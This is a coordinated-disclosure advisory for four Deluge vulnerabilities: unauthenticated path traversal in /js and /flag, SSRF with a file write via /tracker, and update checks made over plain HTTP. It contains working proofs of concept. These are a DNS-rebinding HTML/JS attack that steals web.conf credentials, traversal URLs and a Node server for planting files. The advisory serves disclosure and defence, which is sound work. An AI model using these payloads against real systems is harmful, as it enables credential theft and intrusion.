Coordinated Disclosure Timeline
- 2024-08-12: The maintainer was reached out by email asking about the best way to report a vulnerability.
- 2024-08-13: The report was sent.
- 2024-08-19: The maintainer created private advisories and an advisory was created for each issue, but Security Lab was unaware about it.
- 2024-08-27: Asked the maintainer if they have any questions.
- 2024-09-12: Asked for updated. Offered help fixing the issues.
- 2024-09-12: A member of Security Lab was added to advisories as collaborator.
- 2024-09-13: Discussed with the maintainer possible fixes in the private advisories.
- 2024-09-13: Reviewed the fix for GHSL-2024-191.
- 2025-01-06: Asked the maintainer for update and offered help fixing the issues if a private fork is created for the rest of vulnerabilities.
- 2025-01-14: Pinged the maintainer over email.
- 2025-01-15: The maintainer confirms they plan to work on it.
- 2025-01-24: Offered to create public pull requests if it helps.
- 2025-02-06: Created a private pull request and reviewed existing work in progress by the maintainer.
- 2025-04-17: Pinged the maintainer over email.
- 2025-04-28: v2.2.0 with fixes was released.
Summary
Deluge BitTorrent client supports running two services in background: daemon and WebUI. The other way to run the WebUI service is by enabling the WebUI plugin (installed, but disabled by default) in the preferences dialog of the Deluge client. The WebUI component of Deluge is vulnerable to SSRF, unauthenticated arbitrary file read and limited file write. The client side is vulnerable to software update spoofing.
Project
Deluge
Tested Version
Details
Issue 1: Unauthenticated file read in /js
may lead to RCE (GHSL-2024-188
)
The /js
endpoint of the WebUI component doesn’t require authentication since its purpose is to serve JavaScript files for UI. The request.lookup_path
is validated to start with a known keyword [1], but it is easily bypassed with /js/known_keyword/../..
. The path traversal happens in [2] when the path is concatenated and later [3] used to read a file. The only limitation is the mimetypes.guess_type
call at [4], because, in case it returns a mime type None
, request.setHeader
at [5] throws an exception.
def render(self, request):
log.debug('Requested path: %s', request.lookup_path)
lookup_path = request.lookup_path.decode()
for script_type in ('dev', 'debug', 'normal'):
scripts = self.__scripts[script_type]['scripts']
for pattern in scripts:
if not lookup_path.startswith(pattern): # <------------------ [1]
continue
filepath = scripts[pattern]
if isinstance(filepath, tuple):
filepath = filepath[0]
path = filepath + lookup_path[len(pattern) :] # <------------------ [2]
if not os.path.isfile(path):
continue
log.debug('Serving path: %s', path)
mime_type = mimetypes.guess_type(path) # <------------------ [4]
request.setHeader(b'content-type', mime_type[0].encode()) # <------------------ [5]
with open(path, 'rb') as _file: # <------------------ [3]
data = _file.read()
return data
Impact
The path traversal allows for unauthenticated read of any OS file if only its MIME type is recognized.
Even if attackers constrain themselves to Deluge only, Deluge uses files with .conf
extension to store configuration settings with sensitive information. This extension is identified as text/plain
by mimetypes.guess_type
. A request to /js/deluge-all%2F..%2F..%2F..%2F..%2F..%2F..%2F.config%2Fdeluge%2Fweb.conf
, for example, will return such information as WebUI admin password SHA1 with salt and a list of sessions. The sessions are written to the file only on service shutdown and after the default 1 hour expiration are not updated, but with some luck attackers may find a valid session there to authenticate themselves to the service. Otherwise they will need to brute force the password hash. Since Deluge doesn’t use a slow password hashing algorithm, they can do it very quickly for simple or short passwords.
If Deluge WebUI is hosted externally the exploitation is straightforward. However, even if the service is accessible only locally, since it is unauthenticated endpoint, attackers may use a DNS rebinding attack to access the service from a specially crafted web site. Since browsers implemented RFC1918 it works only on Linux and MacOS when attackers use 0.0.0.0 address to access the local service.
Once attackers have an authenticated session, they the can use the exploitation technique from CVE-2017-7178 to download, install and run a malicious plugin on the vulnerable machine by using the /json
endpoint Web API.
PoC
The PoC is a slightly modified version of Tavis Ormandy’s PoC for Blizzard Update Agent.
- Host the
index.html
andattack_deluge.html
somewhere at same port as victim’s Deluge WebUI instance (8112 by default). - Run WebUI locally.
- Open the
index.html
in a browser on Linux or MacOS. - Modify HostB to the IP of the attacker’s server.
- Click
Start Attack
.
You may need to wait for few minutes. This is not an obstacle for attackers, since the attack would be performed in a background in an IFrame. You will see a success message box after some time and the content of the web.conf after clicking OK.
index.html:
<html>
<head>
<title>deluge DNS Rebinding Testcase</title>
<script>
var timerA;
var timerB;
var count = 0;
function convert_dotted_quad(addr)
{
return addr.split('.')
.map(function (a) { return Number(a).toString(16) })
.map(function (a) { return a.length < 2 ? "0" + a : a })
.join('');
}
window.addEventListener("message", function (msg) {
console.log("message received from", msg.origin, msg.data.status);
if (msg.data.status == "start") {
console.log("iframe reports that attack has started");
if (msg.origin == document.getElementById("attackA").src.substr(0, msg.origin.length))
clearInterval(timerA);
if (msg.origin == document.getElementById("attackB").src.substr(0, msg.origin.length))
clearInterval(timerB);
msg.source.postMessage({cmd: "interval", param: document.getElementById("interval").value}, "*");
msg.source.postMessage({cmd: "start", param: null}, "*");
}
if (msg.data.status == "pwned") {
console.log("iframe reports that settings have been changed", msg.data.response);
attackA.contentWindow.postMessage({cmd: "stop"}, "*");
attackB.contentWindow.postMessage({cmd: "stop"}, "*");
clearInterval(timerA);
clearInterval(timerB);
var f = document.getElementById("final");
f.textContent = msg.data.response;
f.style.color= "red";
alert("Attack Successful!");
}
});
function reloadFrameA()
{
document.getElementById("attackA").src = document.getElementById("hosturl").value
.replace("%1", convert_dotted_quad(document.getElementById("hostA").value))
.replace("%2", convert_dotted_quad(document.getElementById("hostB").value))
+ "?rnd=" + Math.random();
}
function reloadFrameB()
{
document.getElementById("attackB").src = document.getElementById("hosturl").value
.replace("%1", convert_dotted_quad(document.getElementById("hostB").value))
.replace("%2", convert_dotted_quad(document.getElementById("hostA").value))
+ "?rnd=" + Math.random();
}
function begin()
{
message.style.display = "inline";
start.disabled = true;
timerA = setInterval(reloadFrameA, parseInt(document.getElementById("interval").value) * 1000);
timerB = setInterval(reloadFrameB, parseInt(document.getElementById("interval").value) * 1000);
reloadFrameA();
reloadFrameB();
}
function forceCacheEviction()
{
for (i = 0; i < 1000; i++) {
x = document.createElement("img");
x.src = document.getElementById("hosturl").value
.replace("%1", Number(0x7f000001).toString(16))
.replace("%2", Number(0x7f000001 + i).toString(16));
x.onerror = function () {
document.body.removeChild(this);
}
document.body.appendChild(x);
}
}
</script>
</head>
<body>
<h3>deluge DNS Rebinding Testcase</h3>
<p>
Use <a href="https://lock.cmpxchg8b.com/rebinder.html">this</a> calculator to find rbndr hostnames.
</p>
<p>
Note that this attack can take up to five minutes to work, this would be happening while you read a website in the background and you would see nothing on the screen.
<br>
This could be sped up with more frames (as you can see, this demo only uses two). Open the console (F12) to see debugging data.
</p>
<table>
<tr>
<td>Rebinding Host URL</td>
<td>
<input id=hosturl value="http://%1.%2.rbndr.us:8112/attack_deluge.html" size=64>
</td>
</tr>
<tr>
<td>Rebinding Host A (deluge local)</td>
<td>
<input id=hostA value="0.0.0.0" size=64>
</td>
</tr>
<tr>
<td>Rebinding Host B (Attack Server)</td>
<td>
<input id=hostB value="" size=64>
</td>
</tr>
<tr>
<td>How long to wait between attempts (seconds, 20 works best for chrome)</td>
<td>
<input id=interval value="20" size=64>
</td>
</tr>
</table>
<p>
<input onclick="begin()" id=start type=submit value="Start Attack">
<input onclick="forceCacheEviction()" id=evict type=submit value="Force Cache Eviction" title="Try this if the attack is taking too long">
</p>
<p>
<div id=message style="display:none">
Please wait up to five minutes (Press F12 to see debug messages)... (We're waiting for DNS cache entries to expire).
</div>
<pre id=final>[ RESULT WILL SHOW HERE ]</pre>
</p>
<iframe id=attackA src="about:blank" height=128 width=50%></iframe>
<iframe id=attackB src="about:blank" height=128 width=50%></iframe>
</body>
</html>
attack_deluge.html:
<html>
<head>
<script>
var timer;
var frame;
var xhr;
var interval = 60000;
function sendRpc()
{
xhr = new XMLHttpRequest();
xhr.open("GET", "/js/deluge-all/..%2F..%2F..%2F..%2F..%2F..%2F.config%2Fdeluge%2Fweb.conf", false);
try {
xhr.send();
} catch(e) {
console.log("failed to send xhr");
console.log(e);
}
if (xhr.status == 404) {
console.log("frame", window.location.hostname, "has not updated dns yet, waiting", interval, "milliseconds");
return;
}
console.log("attack frame", window.location.hostname, "received xhr response", xhr.status);
if (xhr.status == 200) {
clearInterval(timer);
window.parent.postMessage({status: "pwned", response: xhr.responseText}, "*");
}
}
function begin()
{
// Notify the parent that we're loaded.
window.parent.postMessage({status: "start"}, "*");
}
window.addEventListener("message", function (e) {
console.log("attack frame", window.location.hostname, "received message", e.data.cmd);
switch (e.data.cmd) {
case "interval":
interval = parseInt(e.data.param) * 1000;
break;
case "stop":
clearInterval(timer);
break;
case "start":
timer = setInterval(sendRpc, interval);
console.log("frame", window.location.hostname, "waiting", interval, "milliseconds for dns update");
break;
}
});
</script>
</head>
<body onload="begin()">
<p>
<h3>deluge DNS Rebinding Vulnerability</h3>
</p>
<p>
This page is waiting for a dns update, and will then contact deluge.
</p>
</body>
Issue 2: New version check over unencrypted channel (GHSL-2024-189
)
On startup and every three days Deluge client checks for update availability by sending plain http://
request [1].
def get_new_release(self):
log.debug('get_new_release')
try:
self.new_release = (
urlopen('http://download.deluge-torrent.org/version-2.0') <------------------ [1]
.read()
.decode()
.strip()
)
except URLError as ex:
log.debug('Unable to get release info from website: %s', ex)
else:
self.check_new_release()
If the update is available, GTK based client shows a dialog with the information that a new version is available and a button “Goto Website”. If the user clicks on the button a default browser opens http://deluge-torrent.org
site again over unencrypted connection [2].
def _on_button_goto_downloads(self, widget):
deluge.common.open_url_in_browser('http://deluge-torrent.org') <------------------ [2]
self.config['show_new_releases'] = not self.chk_not_show_dialog.get_active()
self.dialog.destroy()
In a normal flow the server responds with redirect to the HTTPS version of the site. However deluge-torrent.org
doesn’t use HSTS and browser doesn’t enforce the encrypted connection. If attackers are able intercept both requests, they can spoof that a new version is available and either:
- Completely modify the content of
http://deluge-torrent.org
with HTML code they control. In this case the user may notice the exclamation mark in the address bar telling that the connection is not secure. - Or response with redirect to similar looking phishing site,
https://deluge-torent.org
for example. In this case the user may not notice the difference, because the page was opened by clicking on a button in Deluge client.
Impact
This issue may allow attackers to trick the user installing malware.
Issue 3: SSRF with information leak and limited unauthenticated file write (GHSL-2024-190
)
The /tracker
endpoint of the WebUI component doesn’t require authentication. The request path is used as an URL address to download a html page [1] and [2]. It results in SSRF GET request to the attackers’ controlled site.
def getChild(self, path, request): # NOQA: N802
request.tracker_name = path # <------------------ [1]
return self
...
def render(self, request):
d = self.tracker_icons.fetch(request.tracker_name.decode()) # <------------------ [2]
d.addCallback(self.on_got_icon, request)
return server.NOT_DONE_YET
The downloaded html page is parsed and the information from link
tags is extracted and used to download icon files. The local path used to download the attacker controlled is concatenated in unsafe manner at [3], but the limiting factor is that mimetype_to_extension
at [4] throws an exception if it doesn’t match a predefined list of extensions. Note that the icon validation at [5] doesn’t protect from the file write, because it throws and exception if the file is not an image, but the file write already happened.
def host_to_icon_name(host, mimetype):
return host + '.' + mimetype_to_extension(mimetype) <------------------ [4]
def download_icon(self, icons, host):
if len(icons) == 0:
raise NoIconsError('empty icons list')
(url, mimetype) = icons.pop(0)
d = download_file(
url,
os.path.join(self.dir, host_to_icon_name(host, mimetype)), <------------------ [3]
force_filename=True,
)
d.addCallback(self.check_icon_is_valid) <------------------ [5]
if icons:
d.addErrback(self.on_download_icon_fail, host, icons)
return d
Impact
Since the icon downloader adds Deluge version to the User-Agent
header of the GET request it allows for an information leak about the used Deluge version. This can be useful for attackers when the server is exposed or with DNS rebinding.
Arbitrary path file write works only on Windows because for a request /tracker/attacker.com%3a8000%2f..%2f..%2ftest
it tries to write to the path /home/user/.config/deluge/icons/attacker.com/../../icon.png
and it doesn’t work on Linux.
Also it is limited to files with image extensions.
PoC
For the PoC:
- Create an arbitrary file
poc.bin
in the same directory aspoc.js
. - Run
node poc.js
in the directory. - Run Deluge WebUI on Windows.
- Open
http://localhost:8112/tracker/127.0.0.1%3a8000%2f..%2f..%2ftest
- A file named
test.png
is created one directory above the intendedicons
directory. - The console window where
node poc.js
is running contains Deluge version inUser-Agent
header.
poc.js:
const http = require("http");
const fs = require('fs');
const path = require('path')
const host = '0.0.0.0';
const port = 8000;
const requestListener = function (req, res) {
console.log(req.url);
console.log(req.headers);
if (req.url.includes('stage2')) {
res.setHeader("Content-Type", "application/octet-stream");
res.setHeader("Content-Disposition", 'attachment; filename="poc.bin"');
res.writeHead(200);
const filePath = path.join(__dirname, 'poc.bin');
fs.readFile(filePath, (err, data) => {
if (err) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end('Error reading file');
console.error(err);
return;
}
res.end(data);
});
}
else {
res.setHeader("Content-Type", "text/html");
res.writeHead(200);
res.end('<link rel="icon" type="image/png" href="stage2"/>');
}
};
const server = http.createServer(requestListener);
server.listen(port, host, () => {
console.log(`Server is running on http://${host}:${port}`);
});
Issue 4: Limited unauthenticated file read in /flag
(GHSL-2024-191
)
The /flag
endpoint of the WebUI component doesn’t require authentication. The request path [1] is used to build a path at [2] and [3] to read and serve a file [4].
class Flag(resource.Resource):
def getChild(self, path, request): # NOQA: N802
request.country = path <------------------ [1]
return self
def render(self, request):
flag = request.country.decode().lower() + '.png' <------------------ [2]
path = ('ui', 'data', 'pixmaps', 'flags', flag)
filename = common.resource_filename('deluge', os.path.join(*path)) <------------------ [3]
if os.path.exists(filename):
request.setHeader(
b'cache-control', b'public, must-revalidate, max-age=86400'
)
request.setHeader(b'content-type', b'image/png')
with open(filename, 'rb') as _file: <------------------ [4]
data = _file.read()
request.setResponseCode(http.OK)
return data
else:
request.setResponseCode(http.NOT_FOUND)
return ''
Impact
This issue allows for reading arbitrary OS files but is limited to PNG files only.
PoC
For the PoC open http://localhost:8112/flag/..%2fflags%2flt
.
CVE
- GHSL-2024-191 - CVE-2025-46561
- GHSL-2024-189 - CVE-2025-46562
- GHSL-2024-190 - CVE-2025-46563
- GHSL-2024-188 - CVE-2025-46564
Credit
These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-188
, GHSL-2024-189
, GHSL-2024-190
, or GHSL-2024-191
in any communication regarding these issues.